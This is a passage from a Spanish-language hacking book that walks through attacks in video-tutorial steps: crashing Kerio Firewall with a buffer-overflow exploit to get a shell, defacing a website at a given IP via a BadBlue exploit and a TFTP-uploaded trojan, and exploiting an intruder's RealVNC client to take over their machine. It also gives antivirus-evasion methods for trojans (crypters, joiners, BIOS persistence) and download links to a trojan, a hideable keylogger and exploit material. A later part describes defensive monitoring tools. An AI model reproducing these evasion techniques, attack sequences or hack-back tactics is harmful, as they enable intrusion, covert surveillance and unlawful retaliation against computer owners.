2. Segundo, se utiliza el TCPView para ver el proceso winvnc.exe, el cual es el servidor utilizado por el atacante para
comunicarse con nuestra PC.
3. Tercero, se utiliza el TCPView para cerrar el proceso winvnc.exe; de esta forma, el atacante pierde el control de
nuestro sistema.
4. Cuarto, se utiliza el Metasploit para infiltrarse en la computadora del atacante. El Metasploit explota una
vulnerabilidad en el cliente de su RAT, el cual es el RealVNC.
5. Quinto, se utiliza la línea de comandos para escribir "netstat -na" y así ver las conexiones establecidas.
Descarga de los Videos:
http://www.teraexe.com/SOFT/Contra-Ataque_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
293
Explotación de Sistemas de Seguridad
Muchas veces los informáticos instalan sistemas de seguridad como firewalls y antivirus pensando que sus
computadoras van a estar más seguras; sin embargo, muchas veces este es el camino que utiliza el atacante para
infiltrarse en sus computadoras mediante las vulnerabilidades que se encuentran en el firewall o el antivirus.
Alguno de los firewalls que pueden permitir a un atacante infiltrarse en la computadora de la víctima son los siguientes:
1) Comodo Personal Firewall (versión 2.3.6 y muchas otras).
2) Comodo Firewall Pro (versión 2.4.16 y muchas otras).
3) Kerio Personal Firewall (versión 2.1.4 y todas las anteriores).
4) Tiny Personal Firewall (versión 2.0.15 y casi todas las demás).
5) Black ICE Firewall (casi todas las versiones).
6) Cisco PIX Firewall (versión 6 y todas las anteriores)
7) EesySec Personal Firewall.
En el siguiente video tutorial se explota una vulnerabilidad de desbordamiento de memoria en el Kerio Firewall, el cual
permite al atacante obtener la shell de la PC de la víctima y con ella todo el control de su computadora. Al lado del video
incluí un exploit modificado que funciona mediante el Metasploit, el exploit tuve que modificarlo para cuadrar
correctamente algunas direcciones de memoria que van de acuerdo al equipo de la víctima.
Descarga del video:
http://www.teraexe.com/SOFT/K-Firewall_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
294
Deface Mediante Desbordamientos de Memoria
En esta sección, daremos a conocer los métodos que un informático aplicaría para defacear websites mediante los
desbordamientos de memoria. Muchas veces me han preguntado que métodos aplicaría para defacear un website en
.html o .htm, los desbordamientos de memoria (buffer overflows) es un claro ejemplo de cómo se pueden llegar a
defacear este tipo de websites.
Pasos del Video
1. Primero, se usa el Internet Explorer para abrir un website en .htm; en este caso, la dirección IP del website es la
siguiente: 75.74.254.134.
2. Segundo, se usó el Nmap para saber que el website se encontraba en un servidor HTTP de nombre Bad-Blue.
3. Tercero, se usó un Remote Buffer Overflow Exploit para vulnerar el Bad-Blue y así obtener la shell del ordenador en
donde se encuentra instalado el Bad-blue que contiene el website que queremos defacear.
4. Cuarto, se usó un servidor TFTP para transferir un troyano (server.exe) al ordenador en donde se encuentra el
website.
5. Finalmente, con el troyano se realiza la modificación del index.htm; en este caso, el archivo original se reemplazó por
el que contiene las letras del deface.
Descarga del Video:
http://www.teraexe.com/SOFT/BoF_Deface_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
295
Estrategia de los Firewalls
Antes de comenzar con la estrategia de los firewalls, debo informarles que para comprender el contenido aquí expuesto
se requieren conocimientos básicos sobre los desbordamientos de memoria, firewalls, servidores, programación en C y
el uso del Nmap. A la hora de infiltrarnos en un sistema mediante los desbordamientos de memoria, primero realizamos
un escaneo de puertos para averiguar los servidores que se encuentran instalados en la computadora de la víctima, sin
embargo, muchas veces nos encontramos con sistemas de seguridad tales como los firewalls que no nos permiten
obtener información sobre los servidores o explotar vulnerabilidades en uno de sus puertos. Al final de esta sección, se
mostrará un video tutorial sobre una estrategia que nos permite pasarnos la seguridad de los firewalls para así poder
obtener información sobre los servidores y explotar una vulnerabilidad en uno de sus puertos.
Pasos del Video
I. Primero se usa el comando "-A -vv -p 21,80,44334 (IP-Víctima)" del Nmap para averiguar las aplicaciones que se
encuentran instaladas en el ordenador de la víctima y que al mismo tiempo actúan como servidor. Los datos más
importantes fueron los siguientes:
PORT STATE SERVICE VERSION
80/tcp filtered http
44334/tcp open tinyfw Kerio Personal Firewall 2.1.X
Al obtener esa información, ya sabemos que la víctima tiene instalado el Kerio Firewall en su computadora; además, el
Kerio Firewall nos está bloqueando el puerto 80 y no nos permite obtener información relacionada con el servidor
HTTP, mucho menos explotar una vulnerabilidad en dicho servidor. Por lo tanto, si queremos infiltrarnos en el
ordenador de la víctima mediante el puerto 80, primero tenemos que encargarnos del firewall que nos está bloqueando
el acceso.
El Libro de Teraexe Alvaro J. Gene
296
II. Para poder dejar inservible el Kerio Firewall, ejecutamos un exploit de buffer overflow que causa un DoS (Denial of
Service) instantáneamente; en otras palabras, para dejar el Kerio Firewall fuera de funcionamiento, explotamos una
vulnerabilidad de desbordamiento de memoria que deja abajo al corta fuegos instantáneamente. En este caso, la
vulnerabilidad fue explotada en un Windows XP SP1; para que el exploit remoto sea efectivo en otras plataformas,
solamente se le tienen que hacer pequeñas modificaciones al código fuente del exploit.
III. Después de dejar inservible el Kerio Firewall, se realiza nuevamente el escaneo de puertos mediante el siguiente
comando del Nmap: -A –vv –p 21,80,44334 IP-Víctima. En ese escaneo, los datos más importantes fueron los
siguientes:
PORT STATE SERVICE VERSION
80/tcp open http BadBlue httpd 2.5
44334/tcp closed tinyfw
Como podemos ver, el exploit remoto para el firewall fue efectivo... El puerto 44334 se encuentra cerrado; además, se
puede obtener información relacionada con el servidor HTTP, como por ejemplo su nombre y versión.
IV. Una vez obtenida la información del servidor HTTP, se usa un "Remote Buffer Overflow Exploit" para poder
infiltrarnos en el sistema de la víctima mediante su shell remota que nos permite tomar todo el control de su
computadora.
Descarga del Video:
http://www.teraexe.com/SOFT/BoF_Firewall_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
297
Explotación de RAT
Cuando nuestras computadoras se encuentran infectadas mediante un RAT (Remote Administration Tool), troyano o
backdoor, una de las estrategias que puede utilizar un informático es tomar el control de los sistemas del atacante
mediante las vulnerabilidades que se encuentren en su cliente.
Las herramientas de administración remota como los troyanos y los backdoors, funcionan mediante un cliente y un
servidor. El cliente es el que utiliza el atacante para controlar a la víctima y el servidor es el que se encuentra instalado
en la computadora de la víctima. Cada vez que el atacante quiere controlar a la víctima, el cliente realiza una conexión
a uno de sus puertos para comunicarse con el servidor. Ahora, ¿Qué pasaría si se elimina el server del troyano y se deja
un exploit remoto esperando la conexión del cliente? En este caso el atacante pasa a ser la víctima y la víctima pasa a ser
el atacante; en otras palabras, se obtendría el control total de la PC del atacante... Para que el exploit remoto sea efectivo
se pueden utilizar varios métodos, el más común es examinar el servidor del troyano para así determinar el tipo de
troyano que el atacante utiliza y luego descargar el mismo troyano del internet para examinar las vulnerabilidades a
nivel de memoria que pueda tener el cliente.
En el video que se encuentra más adelante se muestra la técnica de la explotación del RAT.
Datos del video:
IP de la víctima que se convierte en atacante: 98.254.192.214
IP del atacante que se convierte en víctima: 66.176.30.93
Cliente del RAT que es explotado: RealVNC 3.3.7
Herramientas utilizadas por "98.254.192.214": TCPView y Metasploit v2.7
El Libro de Teraexe Alvaro J. Gene
298
Pasos del Video
1. Primero, se utiliza la línea de comandos para escribir "netstat -na" y así ver la IP del atacante (66.176.30.93) que tiene
controlada nuestra computadora.
2. Segundo, se utiliza el TCPView para ver el proceso winvnc.exe, el cual es el servidor utilizado por el atacante para
comunicarse con nuestra PC.
3. Tercero, se utiliza el TCPView para cerrar el proceso winvnc.exe; de esta forma, el atacante pierde el control de
nuestro sistema.
4. Cuarto, se utiliza el Metasploit para infiltrarse en la computadora del atacante. El Metasploit explota una
vulnerabilidad en el cliente de su RAT, el cual es el RealVNC.
5. Quinto, se utiliza la línea de comandos para escribir "netstat -na" y así ver las conexiones establecidas.
Descarga del Video:
http://www.teraexe.com/SOFT/RAT-Exploitation_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
299
Herramientas de Hacking: Ataque
En el campo de la seguridad informática, existen diferentes tipos de herramientas o aplicaciones que las personas
pueden utilizar para lograr ciertos objetivos, bien sea desde la posición del atacante o desde la posición de la defensa.
Por ejemplo, desde la posición del atacante, una persona podría utilizar alguna herramienta para obtener información
sensitiva de algún equipo remoto; por otro lado, desde la posición de la defensa, una persona podría utilizar alguna
aplicación para asegurar sus sistemas de posibles ataques o intrusos. En esta sección, estudiaremos algunas de las
herramientas que los hackers pueden utilizar desde la posición del atacante; luego, en la siguiente sección, estudiaremos
algunas de las aplicaciones que los hackers pueden utilizar desde la posición de la defensa, en otras palabras, en el
siguiente capítulo, estudiaremos algunas de las herramientas que los informáticos o administradores utilizan para
asegurar sus computadoras.
Troyano
Un troyano es una herramienta de administración remota que un informático o hacker puede utilizar para controlar otros
dispositivos de forma remota; por ejemplo, un hacker podría utilizar un troyano para controlar a distancia y de forma
remota una computadora, una cámara, un celular, un televisor, una tableta, un reloj (iWatch), y otros dispositivos
electrónicos. ¿Cuáles serían algunas de las funciones de los troyanos? Algunas de las funciones de los troyanos podrían
ser las siguientes:
(a) Capturar lo que una computadora está mostrando en su monitor. Gracias a esta función, un hacker podría saber lo
que otra persona está haciendo en su computadora.
(b) Abrir páginas web.
(c) Ejecutar alguna aplicación que se encuentre en el disco duro de la víctima.
(d) Apagar de forma remota los sistemas de la víctima.
(e) Controlar el mouse de la víctima.
El Libro de Teraexe Alvaro J. Gene
300
Un dato importante que un informático debe saber sobre los troyanos es que esas aplicaciones están compuestas por dos
archivos, los cuales son llamados cliente y servidor. Por un lado, el cliente de un troyano puede ser utilizado por un
hacker para controlar de forma remota aquellas computadoras que fueron infectadas mediante el servidor; por otro lado,
el servidor de un troyano es aquel que debe ser ejecutado en una computadora para que un hacker pueda controlar esa
computadora desde el cliente. Usualmente, cuando un intruso quiere ganar acceso a los sistemas de una computadora,
él/ella sigue los siguientes pasos:
(a) Ejecuta un exploit remoto en algún servidor (FTP/HTTP/TFTP/SMTP/POP3).
(b) El exploit remoto deja un puerto a la escucha, el cual puede ser utilizado por el atacante para conectar con alguna
herramienta como netcat/telnet.
(c) Después de conectar con netcat/telnet, el atacante obtiene el MS-DOS/terminal de la víctima.
(d) Con el MS-DOS/terminal, el hacker puede usar un servidor TFTP para transferir el servidor del troyano al disco
duro de la víctima.
(e) Una vez que se transfiere el servidor del troyano, el atacante puede ejecutarlo de forma remota mediante la terminal
o MS-DOS que le dio el exploit remoto.
Con el paso del tiempo, han salido varios sistemas de seguridades como los firewalls y routers (routers con sistemas de
seguridades que cuentan con funciones similares a las de un firewall y bloquean el acceso de equipos remotos) que
bloquean los puertos y/o advierten de una posible infiltración. Debido a esos sistemas de seguridades, los troyanos han
ido evolucionando y adaptándose a los nuevos mecanismos de seguridades. En esta sección, voy a brindar una breve
introducción sobre los dos tipos de conexiones que establecen o realizan los troyanos:
(a) Conexión Directa: En el campo del hacking, los primeros troyanos realizaban conexiones directas entre el cliente y
el servidor. En este tipo de conexión, el cliente es el primero en establecer una conexión al servidor. Para ponerlo de una
forma que sea fácil de entender: Supongamos que en la Computadora A se encuentra el cliente del hacker, y en la
Computadora B se encuentra el servidor de la víctima. Nótese que son dos ejecutables (.exe) que se encuentran en dos
El Libro de Teraexe Alvaro J. Gene
301
computadoras distintas. Entonces, en una conexión directa, para que los dos programas se puedan comunicar y el
troyano pueda funcionar adecuadamente (el atacante pueda controlar a su víctima), el cliente de la Computadora A es el
primero en buscar una comunicación con el servidor de la Computadora B. Hace más de una década, cuando no existían
muchos sistemas de seguridad, este tipo de troyanos funcionaban sin muchos inconvenientes; sin embargo, hoy en día
nos encontramos con una gran cantidad de sistemas de seguridades y las más básicas son los firewalls y los routers.
Entonces, si una computadora cuenta con un firewall que bloquea o advierte de todas las conexiones entrantes, entonces
la conexión directa no va a ser efectiva. Debido a esos mecanismos de seguridad, entonces salieron otros tipos de
troyanos, los cuales usan un tipo de conexión llamada conexión inversa.
(b) Conexión Inversa: En este tipo de conexión, el servidor del troyano es el primero en establecer una conexión con el
cliente del troyano. Como se nombró anteriormente, un troyano se divide en dos ejecutables o aplicaciones que se
encuentran en dos computadoras distintas. Por un lado, se encuentra el servidor, la cual es la aplicación que corre en la
computadora de la víctima; por otro lado, se encuentra el cliente, la cual es la aplicación que corre en la computadora
del atacante. En una conexión inversa, la aplicación que primero busca comunicarse con la otra aplicación, es el
servidor (no el cliente, como pasa en la conexión directa). Por lo tanto, como el servidor se encuentra en la computadora
de la víctima y los firewalls/routers solamente suelen bloquear las conexiones entrantes, entonces las conexiones se
establecen sin ningún inconveniente y el atacante puede controlar los sistemas de la víctima sin aquellas seguridades
que le estén bloqueando los puertos (es como si la computadora de la víctima fuera la que le estuviera pidiendo permiso
a la computadora del atacante para que la conexión se pueda establecer y el troyano pueda funcionar).
Además de las conexiones en los puertos, también existen otros sistemas de seguridades como los antivirus que se
encargan de identificar y eliminar aquellas aplicaciones que pudieran afectar la privacidad de una persona. Por lo tanto,
los hackers han desarrollado varios métodos para hacer difícil que el servidor de un troyano sea detectado. A
continuación voy a explicar muy brevemente alguno de los métodos que utilizan los hackers para hacer difícil la
detección de un troyano:
El Libro de Teraexe Alvaro J. Gene
302
Nivel Novato (no requiere conocimientos en programación):
(a) Descargar un troyano del internet y pasarle un crypter. Un crypter es un programa que se encarga de modificar un
troyano para que no sea detectado por los antivirus.
(b) Usar herramientas como depuradores o desensambladores para modificar algún troyano que se haya descargado del
internet.
(c) Usualmente, la mayoría de los troyanos que rondan en el internet son detectados por los antivirus. Por lo tanto, un
método que aplican algunos novatos es usar un troyano privado, el cual solamente ha sido usado por un grupo pequeño
de personas que no está publicado públicamente en el internet.
Nivel Intermedio (requiere conocimientos en programación):
(a) Crear un troyano desde cero o descargar algún código fuente para luego modificarlo de tal forma que los códigos no
se parezcan en casi nada al original. Al ser un troyano de códigos únicos, este no es identificado por los antivirus
comunes.
(b) Usar un joiner para añadirle al server las funciones necesarias para modificar las seguridades de la víctima, como
por ejemplo su antivirus o firewall.
(c) Crear un crypter y usarlo en algún troyano que haya sido descargado del internet.
Nivel Avanzado (requiere conocimientos avanzados de programación):
(a) Hacer que el server del troyano se auto-modifique cada cierto tiempo. Por ejemplo, cada 30 segundos.
(b) Hacer que el server del troyano automáticamente explote vulnerabilidades y se cambie de distintos lugares.
(c) Alojar el troyano en cualquier otro lugar que no sea el disco duro, como por ejemplo la BIOS o el router. En ese caso
se deben usar los conocimientos en lenguaje ensamblador y el procedimiento será efectivo dependiendo de los sistemas
de la víctima.
Ya que se ha brindado una breve introducción sobre el funcionamiento de los troyanos y los métodos para pasarse las
seguridades más comunes, ahora voy a dejar la descarga de un troyano para que puedan examinarlo dentro de sus redes
El Libro de Teraexe Alvaro J. Gene
303
(intranet). Como el troyano fue desarrollado para aquellos novatos que se están iniciando en este campo y quieren tener
una idea sobre el funcionamiento de estas aplicaciones, el troyano solamente cuenta con funciones muy básicas y es de
conexión directa (un troyano inofensivo solamente para examinarlo dentro de una red LAN debido a que en la
actualidad se requieren troyanos de conexiones inversas y con funciones más complejas). A continuación se muestran
algunas de las funciones que tiene el troyano:
(a) Capturar lo que una computadora está mostrando en su monitor.
(b) Abrir páginas web y ejecutar alguna aplicación que se encuentre en el disco duro de la víctima.
(c) Apagar de forma remota los sistemas de la víctima.
(d) Controlar el mouse de la víctima.
(e) Abrir y cerrar el CD-ROM de una computadora.
Descarga del Troyano:
http://www.teraexe.com/SOFT/Trojan_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
304
Keylogger
Un keylogger es una herramienta que puede ser utilizada para almacenar las pulsaciones del teclado y guardar los
resultados dentro de un documento de texto. Por lo tanto, desde la posición del atacante, un keylogger podría ser
utilizando para capturar usernames, passwords, cuentas de correo electrónico, páginas web visitadas, programas
ejecutados, y todo lo que pasa en una computadora.
Aunque esta categoría está relacionada con las herramientas de hacking que se encuentran desde la posición de ataque,
un keylogger es un programa que puede ser utilizando desde la posición del atacante o desde la posición de defensa. Por
un lado, un keylogger podría ser utilizado por un atacante para obtener información sensitiva como nombre de usuarios
y passwords; por otro lado, un keylogger podría ser utilizado como una herramienta de seguridad por un administrador
que quiera tener un registro de todo lo que pasa en su computadora. Si un intruso utiliza una computadora sin la
autorización de su dueño (cuando el dueño de la computadora no se encuentra presente), el dueño de esa computadora
podría darse cuenta ya que el keylogger almacena por fecha los movimientos que se realizaron en esa computadora.
Al final de esta sección, voy a dejar la descarga de un keylogger que tiene como nombre Teraexe Keylogger. Esta
aplicación llamada Teraexe Keylogger cuenta con las siguientes opciones:
El Libro de Teraexe Alvaro J. Gene
305
(a) Desaparecer Keylogger: Para que un intruso no se dé cuenta que la computadora tiene activada un keylogger, con el
mouse le podemos dar click a Exit y el keylogger va a desaparecer.
(b) Aparecer Keylogger: Después de que se desaparece el keylogger, un administrador puede teclear “Shift + t” para
aparecer el keylogger.
(c) Password: Una vez que el keylogger aparece, para poder utilizarlo, el administrador tiene que colocar un password,
el cual se encuentra en la descarga del keylogger
(d) Activar/Desactivar: El keylogger cuenta con las opciones para activarlo y desactivarlo. Cuando el keylogger se
encuentra activo, las pulsaciones del teclado serán almacenadas dentro de un archivo de texto llamado
C:\Windows\System32\log.txt. Una vez que el administrador le da click a la opción de desactivar, el keylogger deja de
almacenar las pulsaciones del teclado.
(e) Sistema Operativo: Teraexe Keylogger funciona en la mayoría de los sistemas operativos de Windows. Esta
herramienta fue desarrollada para Windows XP; además, esta aplicación ha sido examinada en Windows XP y
Windows 8.
Descarga del Keylogger:
http://www.teraexe.com/SOFT/Keylogger_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
306
Escaneador de Puertos
Un escaneador de puertos es una aplicación que puede ser utilizada para identificar los puertos abiertos de una
computadora. Estos escaneadores de puertos pueden identificar puertos abiertos tanto de forma local (en la misma
computadora de uno) como de forma remota (un sistema diferente al de uno).
Cuando un intruso quiere explotar una vulnerabilidad a nivel de memoria en uno de los puertos de un servidor, uno de
los primeros pasos consiste en identificar los puertos abiertos de aquella computadora que se encuentra trabajando
como servidor. Por ejemplo, si una computadora tiene un servidor HTTP corriendo en el puerto 80, un intruso podría
darse cuenta de esa información gracias a un escaneador de puertos.
Usualmente, para que un escaneador de puertos pueda identificar los puertos abiertos de una computadora, una persona
debe colocar un dato que identifique a la computadora que se va a escanear; por ejemplo, para escanear los puertos de
una computadora que se encuentra en una red, una persona podría colocar una dirección IP, un hostname, o el nombre
de un website.
Descarga del Escaneador de Puertos: http://www.teraexe.com/SOFT/Port_Scanner_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
307
Herramientas de Hacking: Defensa
En la capitulo anterior, estudiamos algunas de las herramientas de hacking que funcionan desde la posición del atacante
y que pueden ser utilizadas para obtener información sensitiva. En esta sección, estudiaremos aquellas herramientas de
hacking que funcionan desde la posición de defensa y que pueden ser utilizadas para lidiar con intrusos (esos hackers
que buscan infiltrarse en nuestros sistemas).
Network Traffic Monitor
El Network Traffic Monitor es una herramienta de seguridad informática que se encarga de monitorear el tráfico
TCP/UDP y mostrar aquellos programas que se encuentran estableciendo conexiones a otras computadoras. Si nuestras
computadoras se encuentran infectadas mediante el servidor de un troyano, un administrador podría darse cuenta
gracias al Network Traffic Monitor.
Usualmente, las herramientas automatizadas para detectar intrusos mediante escaneos de programas (antivirus) no son
muy efectivas para identificar aplicaciones maliciosas (troyanos, virus, malwares) debido a que esas herramientas que
se encargan de escanear automáticamente los programas maliciosos funcionan de la siguiente forma: (a) Identifican los
típicos troyanos/virus que rondan en el internet (b) Se crea un antivirus exactamente para ese troyano/virus en
específico. Esas herramientas como los antivirus pueden ser efectivas para los intrusos novatos que no desarrollan sus
propias herramientas y usan virus/troyanos descargados del internet; sin embargo, si un intruso sabe crear su propio
virus/troyano (o modifica uno que se descargó del internet), el antivirus no lo va a detectar. Para que exista un antivirus,
primero se tiene que estudiar al virus. Entonces, si un intruso desarrolla sus propios troyanos y virus, en lugar de usar
herramientas automatizadas, lo ideal es usar herramientas que muestren información sobre otras aplicaciones y el
administrador pueda identificar los troyanos o virus maliciosos manualmente.
El Libro de Teraexe Alvaro J. Gene
308
Funciones del Network Traffic Monitor:
(a) Muestra los procesos que se encuentran estableciendo conexiones a otras computadoras. Por ejemplo, dice el
nombre del programa que se encuentra estableciendo una conexión a una dirección IP o hostname, ideal para identificar
troyanos.
(b) Muestra el directorio o localización de aquellos procesos que se encuentran estableciendo conexiones. Si por
ejemplo tenemos un troyano en un directorio sospechoso como C:\Windows\System32, el Network Traffic Monitor nos
brindará esa información.
(c) Brinda información sobre la IP/hostname/web y puerto que utiliza una computadora para conectarse a nuestra
computadora. Si tenemos muestra PC infectada, ya sabemos la identificación del intruso.
Descarga del Network Traffic Monitor:
http://www.teraexe.com/SOFT/Network_Traffic_Monitor_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
309
Ultra-Secure Login Panel
El Ultra-Secure Login Panel es una herramienta de seguridad informática que un administrador puede colocar en su
página web para que solamente aquellas personas que están autorizadas puedan tener acceso a información clasificada.
Un punto importante sobre esta herramienta es que para poder configurarlo y utilizarlo se requieren conocimientos en el
campo de la programación, especialmente en PHP y Java. A continuación se muestran algunas de las funciones con las
que cuenta el Ultra-Secure Login Panel:
(a) Identificación de Hardware: Contact-Less Smart Card y Dirección MAC.
(b) Aplicaciones para Tarjetas Inteligentes: Aplicación para escritorio (c#) y website (Java).
(c) Validación de nombre de usuario y clave.
(d) Validación de dirección IP.
(e) Tres Tipos de Sesiones: Una de PHP y dos de JavaScript.
USLP – Descarga del Código Fuente:
http://www.teraexe.com/projects/USLP.pdf
El Libro de Teraexe Alvaro J. Gene
310
Ultra-Secure Radar
El Ultra-Secure Radar es una herramienta de seguridad informática que un webmaster puede utilizar para monitorear la
actividad de los visitantes de su página web. Gracias a los registros que muestra el USR, un webmaster se dará cuenta si
un intruso está (o estaba) tratando de explotar una vulnerabilidad a nivel de website en sus servidores debido a que ésta
aplicación muestra detalladamente lo que los visitantes están colocando en la URL de su navegador. Por ejemplo, si un
atacante estaba intentando explotar una vulnerabilidad de inyección SQL, el USR mostrará la siguiente información: (a)
Dirección IP del Atacante. (b) Fecha del Ataque. (c) URL en navegador (con esa información el administrador
identifica el tipo de ataque). (d) Sistema Operativo del Atacante. (e) Navegador del Atacante.
USR – Descarga del Código Fuente:
http://www.teraexe.com/projects/USR.pdf
El Libro de Teraexe Alvaro J. Gene
311
TeraTracker
TeraTracker es una herramienta de seguridad informática que una persona puede utilizar para rastrear el movimiento de
varios celulares (iPhones). Gracias al TeraTracker, una persona podrá monitorear las coordenadas (latitud y longitud)
de varios iPhones, bien sea mediante una página web o un celular. La aplicación hace uso de la tecnología GPS (Global
Positioning System) y muestra las coordenadas de los iPhones dentro de un mapa que contiene imágenes satelitales.
TeraTracker – Descarga del Código Fuente:
http://www.teraexe.com/projects/TeraTracker.pdf
El Libro de Teraexe Alvaro J. Gene
312
CONCLUSIÓN
Después de leer El Libro de Teraexe, un informático puede adquirir los conocimientos necesarios para realizar
auditorías en diferentes tipos de aplicaciones, incluyendo aplicaciones de websites, base de datos, y servidores
HTTP/FTP/TFTP/SMTP/POP3. Gracias a este tutorial, un informático podrá encontrar vulnerabilidades a nivel de
website en aquellas aplicaciones desarrolladas en PHP y que al mismo tiempo usan base de datos como MySQL. Por
ejemplo, en El Libro de Teraexe, un informático aprenderá a encontrar algunos agujeros de seguridad como las
inyecciones SQL, inyecciones PHP, Remote File Inclusion, Remote Command Execution, y otros bugs relacionados
con las páginas web. Además de las vulnerabilidades a nivel de website, un informático también podrá adquirir
conocimientos básicos sobre los bugs a nivel de memoria. Por ejemplo, después de leer El Libro de Teraexe, un
informático adquirirá conocimientos sobre los desbordamientos de memoria, ataques en formato de cadena,
explotación de punteros colgados, explotación de codificación segmentada, desbordamientos de montículo, y otras
vulnerabilidades por el estilo.
Este tutorial no solamente brinda información sobre los agujeros de seguridad, sino que también muestra información
sobre aquellas técnicas de ataque y defensa que un informático puede aplicar cuando se encuentra en el campo de
batalla (lidiando con otros hackers). Por ejemplo, mediante El Libro de Teraexe, un informático aprenderá a
contra-atacar a aquellos intrusos que buscan infiltrarse en sus servidores HTTP. Otro ejemplo, si un informático tiene
una computadora que se encuentra infectada mediante un troyano, él/ella aprenderá sobre algunas de las técnicas que se
pueden aplicar para contra-atacar a los intrusos.